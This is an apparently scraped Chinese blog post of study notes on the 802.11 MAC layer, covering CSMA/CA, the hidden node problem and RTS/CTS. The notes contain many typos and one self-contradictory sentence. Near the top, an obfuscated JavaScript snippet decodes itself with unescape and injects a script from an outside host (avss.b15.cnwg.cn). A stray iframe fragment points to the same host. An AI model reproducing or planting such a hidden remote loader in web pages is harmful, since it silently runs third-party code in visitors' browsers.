mac 802.11 学习笔记

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
mac 802.11 学习笔记




下面结合我最近学习802.11 mac层的笔记。
        无限局域网中,802.11是其物理层和链路层的标准协议。更具物理层中的信号调制方式不同,可以获得不同的发送速率从而来区分不同版本的802.11协议。
        接下来主要来解释一下802.11mac层的一些概念。
        在mac层中定义了2种接入方式:分布式协调方式和点协调方式。
        基本的接入方式是分布式协调方式,通过多点接入载波检听/碰撞避免的方式(CSMA/CA)。CAMA已经很熟悉了他在以太网中应用即CSMA/CD。
       CSMA的工作方式是这样那个的,一个站点需要接入媒质,如果媒质是忙的,然后站点就推迟他的发送,如果媒质空闲,则允许发送。但是可能一起碰撞。如 要是不同的站点同时检测到媒质忙,则同时发送。所以在发生这种情况的时候需要碰撞检测(CD),具体如何检测(检查电压,如果电压超过了阀值,则认为发生碰撞了) 。这时就需要停止发送,重新检查。
      在有线网内这种情况是可以的,但是在无限网内,不能用CD,而是哟个ca(碰撞避免)。原因有二:
      1。碰撞检测需要媒质有能力同时进行收发,但是在无限网内很难做到。
     2。在无限网内不能够假设所有的站点能够互相监听。因为在这种情况下,一个站点检测到媒质空闲,这并不意味着在接受者区域内媒质时空闲的。 如接受者在2个bs的重合区域内,他在一个域内的媒质空闲,可能在另外的域内是空闲的。这就是隐藏节点问题(用RTS/CTS解决)。
    RTS/CTS机制:
    为了防止碰撞定义了虚拟载波机制。
    一个站想发送保包之前,应该要撒送控制桢(RTS),它包含以下信息:源,目的以及发送数据包的持续时间(包含数据包和ACK的时间)。如果空闲,目的站发送控制报(CTS)。包含同样的信息。所有的站收到RTS和(或)CTS,根据 持续时间来设定NAV,即规定在NAV代表的时间,不能进行发送数据。
  由于RTS/CTS的桢很小,他也能减少碰撞的几率(包越小,碰撞几率越小),所以要传送的包足够小的,小于RTSThreshold,就不同这个机制。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值